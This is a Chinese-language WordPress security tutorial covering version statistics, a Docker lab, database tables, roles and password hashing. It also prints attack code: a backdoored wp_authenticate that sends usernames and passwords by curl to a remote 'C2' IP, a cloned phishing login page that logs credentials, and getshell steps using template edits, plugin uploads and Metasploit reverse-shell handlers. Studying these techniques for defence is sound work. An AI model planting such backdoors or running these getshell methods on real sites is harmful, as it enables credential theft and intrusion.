wordpress安全技术研究
字数 4451 2025-08-23 18:31:34
WordPress安全技术研究与实践指南
一、WordPress版本统计与分析
1.1 境外WordPress版本分布统计
通过FOFA API对境外WordPress版本进行统计分析(排除中国地区):
import requests
import base64
import time
import json
url = "https://fofa.info/api/v1/search/all?email=&key=&qbase64="
with open('branch.txt', 'r+') as f:
results = []
for i in f.readlines():
query = f'"wordpress-{i.strip()}" && country!="CN"'
query = query.encode('utf-8')
res = requests.get(url + base64.b64encode(query).decode()).text
json_res = json.loads(res)
size = json_res['size']
results.append((i.strip(), size))
time.sleep(3)
sorted_results = sorted(results, key=lambda x: x[1], reverse=True)
for item in sorted_results:
print(f'境外服务器wordpress{item[0]}的数量为:{item[1]}')
统计结果(Top5版本):
- WordPress 4.5 - 718,094
- WordPress 6.0 - 571,377
- WordPress 4.8 - 432,132
- WordPress 2.5 - 283,633
- WordPress 6.1 - 225,618
二、WordPress环境搭建与结构分析
2.1 Docker环境搭建
使用Docker部署WordPress 4.5测试环境:
version: '3.9'
services:
db:
image: mariadb:10.6.4-focal
restart: always
environment:
MYSQL_ROOT_PASSWORD: 123456
MYSQL_DATABASE: wordpress
volumes:
- ./database:/var/lib/mysql
wordpress:
depends_on:
- db
image: wordpress:4.5-apache
restart: always
ports:
- "80:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: 123456
volumes:
- ./html:/var/www/html
2.2 WordPress目录结构
根目录文件:
index.php:网站主入口文件license.txt:许可证文件readme.html:安装和升级信息wp-activate.php:激活新用户的脚本wp-blog-header.php:加载WordPress环境和模板wp-comments-post.php:处理评论请求wp-config.php:主配置文件(数据库信息等)wp-cron.php:处理计划任务wp-login.php:登录页面主文件xmlrpc.php:XML-RPC协议支持
核心目录:
wp-admin:后台管理相关文件wp-content:用户内容和扩展存储(主题、插件、上传文件)wp-includes:主要PHP库和辅助脚本
三、WordPress数据库深入研究
3.1 数据库表结构
WordPress默认包含12张表:
wp_commentmeta- 评论元数据wp_comments- 网站评论wp_links- 友情链接wp_options- WordPress设置和选项wp_postmeta- 文章元数据wp_posts- 网站文章wp_term_relationships- 分类/标签与帖子关系wp_term_taxonomy- 目录/标签分类wp_termmeta- 目录/标签元数据wp_terms- 每个目录/标签wp_usermeta- 用户元数据wp_users- 用户数据
3.2 元数据(Metadata)分析
WordPress中有四张表带有meta后缀,存储相关信息的元数据:
wp_commentmetawp_postmetawp_termmetawp_usermeta
共同字段结构:
meta_id- 自增ID[post/comment/term/user]_id- 关联IDmeta_key- 元数据键meta_value- 元数据值
元数据类型:
- 描述性元数据(Descriptive metadata)
- 结构性元数据(Structural metadata)
- 管理性元数据(Administrative metadata)
3.3 文章数据表分析
wp_posts表结构:
| 字段 | 类型 | 描述 |
|---|---|---|
| ID | bigint | 自增唯一ID |
| post_author | bigint | 作者ID |
| post_content | longtext | 正文内容 |
| post_title | text | 标题 |
| post_status | varchar(20) | 文章状态(publish/auto-draft等) |
| comment_status | varchar(20) | 评论状态(open/closed) |
| post_password | varchar(20) | 文章密码(明文) |
| post_name | varchar(200) | 文章缩略名(URL友好格式) |
| post_type | varchar(20) | 文章类型(post/page) |
| comment_count | bigint | 评论总数 |
文章状态(post_status)类型:
- publish - 已发布
- pending - 等待审核
- draft - 草稿
- auto-draft - 自动保存的草稿
- future - 预定发布
- private - 私有文章
- inherit - 继承状态
- trash - 回收站
wp_postmeta表结构:
| 字段 | 类型 | 描述 |
|---|---|---|
| meta_id | bigint | 自增ID |
| post_id | bigint | 关联文章ID |
| meta_key | varchar(255) | 元数据键 |
| meta_value | longtext | 元数据值 |
常见meta_key示例:
_wp_page_template- 页面模板路径_edit_lock- 编辑锁定信息_wp_trash_meta_status- 回收站状态_oembed_*- 嵌入式内容信息
3.4 评论数据表分析
wp_comments表结构:
| 字段 | 类型 | 描述 |
|---|---|---|
| comment_ID | bigint | 评论ID |
| comment_post_ID | bigint | 关联文章ID |
| comment_author | tinytext | 评论者名称 |
| comment_author_email | varchar(100) | 评论者邮箱 |
| comment_author_IP | varchar(100) | 评论者IP地址 |
| comment_content | text | 评论内容 |
| comment_approved | varchar(20) | 审核状态(0/1) |
| comment_agent | varchar(255) | 评论者User-Agent |
3.5 用户数据表分析
wp_users表结构:
| 字段 | 类型 | 描述 |
|---|---|---|
| ID | bigint | 用户ID |
| user_login | varchar(60) | 登录用户名 |
| user_pass | varchar(255) | 密码哈希 |
| user_email | varchar(100) | 用户邮箱 |
| user_registered | datetime | 注册时间 |
| user_activation_key | varchar(255) | 激活密钥 |
wp_usermeta表结构:
| 字段 | 类型 | 描述 |
|---|---|---|
| umeta_id | bigint | 自增ID |
| user_id | bigint | 关联用户ID |
| meta_key | varchar(255) | 元数据键 |
| meta_value | longtext | 元数据值 |
重要meta_key示例:
session_tokens- 存储用户会话信息(序列化格式)
四、WordPress用户权限管理
4.1 默认用户角色
- 超级管理员(Super Admin):拥有所有权限
- 管理员(Administrator):完整后台权限
- 编辑(Editor):管理所有文章,不能管理用户
- 作者(Author):只能管理自己的文章
- 投稿者(Contributor):只能撰写不能发布文章
4.2 权限管理类
WordPress提供三个核心类进行高级权限管理:
WP_Roles- 角色管理WP_Role- 单个角色管理WP_User- 用户权限管理
使用场景:
- 自定义角色创建
- 特定权限分配
- 插件/主题开发
- 安全性增强
- 动态权限调整
五、WordPress安全机制研究
5.1 密码加密算法
WordPress使用phpass类进行密码哈希:
function wp_hash_password($password) {
global $wp_hasher;
if (empty($wp_hasher)) {
require_once(ABSPATH . WPINC . '/class-phpass.php');
$wp_hasher = new PasswordHash(8, true);
}
return $wp_hasher->HashPassword(trim($password));
}
加密流程:
- PHP 5.0+使用Blowfish算法(实际为bcrypt变体)
- PHP 5.0以下使用MD5算法
- 生成随机salt结合明文密码加密
- 单向哈希不可逆
密码验证使用wp_check_password()函数:
function wp_check_password($password, $hash, $user_id = '') {
global $wp_hasher;
// 兼容旧版MD5哈希
if (strlen($hash) <= 32) {
$check = hash_equals($hash, md5($password));
if ($check && $user_id) {
// 重新使用新哈希
wp_set_password($password, $user_id);
$hash = wp_hash_password($password);
}
// ...
}
// ...
}
5.2 登录密码劫持技术
方法1:后门劫持
修改wp-includes/pluggable.php中的wp_authenticate函数:
function wp_authenticate($username, $password) {
$username = sanitize_user($username);
$password = trim($password);
// 方式1:直接请求C2服务器
system('curl http://1.2.4.7.24:18080/?password='.$username.$password);
// 方式2:写入本地文件(更隐蔽)
file_put_contents('access.log', $username.$password);
// ...
}
方法2:钓鱼劫持
- 在
wp-login.php中插入重定向代码:
session_start();
$host = $_SERVER['HTTP_HOST'];
if(!isset($_SESSION['redirected'])){
$_SESSION['redirected'] = true;
header('Location: http://'.$host.'/wp-logln.php');
}
- 克隆登录页面并修改表单:
<form name="loginform" id="loginform" action="wp-logln.php" method="post">
<!-- 正常表单元素 -->
</form>
<?php
setcookie('redirected', '1');
$u = $_POST['log'];
$p = $_POST['pwd'];
if(isset($_POST['log']) && isset($_POST['pwd'])){
file_put_contents('/var/log/access.log', $u.$p);
session_start();
$_SESSION['redirected'] = false;
header('Location: /admin');
}
?>
六、WordPress渗透测试技术
6.1 常用工具
-
WPScan:
wpscan --url http://target.com --wp-content-dir /wp-content/ \ --enumerate vp --plugins-detection aggressive \ --api-token YOUR_API_TOKEN -
CMSmap:
cmsmap -t http://target.com -f wordpress
6.2 版本侦查技术
- 自述文件:访问
/readme.html - HTML元标签:查找
<meta name="generator"> - JS/CSS链接:检查
ver参数中的版本号 - Feed检查:
/?feed=rss/?feed=rss2/?feed=atom
- OPML文件:
/wp-links-opml.php - MD5比对:计算静态文件MD5与特征库比对
6.3 GetShell技术实战
环境搭建:
git clone https://github.com/wpscanteam/VulnerableWordpress.git
cd VulnerableWordpress/
docker build --rm -t wpscan/vulnerablewordpress .
docker run --name vulnerablewordpress -d -p 81:80 -p 3307:3306 wpscan/vulnerablewordpress
方法1:修改模板
- 后台 → 外观 → 编辑
- 在
index.php或404.php中插入反向Shell代码 - 使用Metasploit监听:
msfconsole use exploit/multi/handler set payload php/reverse_php set LHOST 0.0.0.0 set LPORT 9999 exploit
方法2:ZIP上传
- 将PHP反向Shell压缩为ZIP
- 插件安装页面上传ZIP
- 自动解压后访问Shell文件
方法3:直接PHP上传
- 在插件安装页面上传PHP文件
- 访问
/wp-content/includes/上传的文件.php
方法4:脆弱插件利用
- 安装
wp-responsive-thumbnail-slider 1.0 - 使用Metasploit模块:
use exploit/unix/webapp/wp_responsive_thumbnail_slider_upload set RHOSTS target.com set TARGETURI /wordpress/ set USERNAME admin set PASSWORD password exploit
七、安全建议
- 及时更新:保持WordPress核心、主题和插件最新
- 权限控制:
- 遵循最小权限原则
- 限制管理员账户数量
- 密码安全:
- 使用强密码策略
- 定期更换密码
- 文件监控:
- 监控核心文件修改
- 禁用不必要的PHP执行
- 登录保护:
- 启用双因素认证
- 限制登录尝试次数
- 备份策略:定期完整备份网站和数据库
通过深入理解WordPress的架构和安全机制,安全研究人员可以更有效地发现和防御潜在威胁,同时开发人员可以构建更安全的WordPress应用。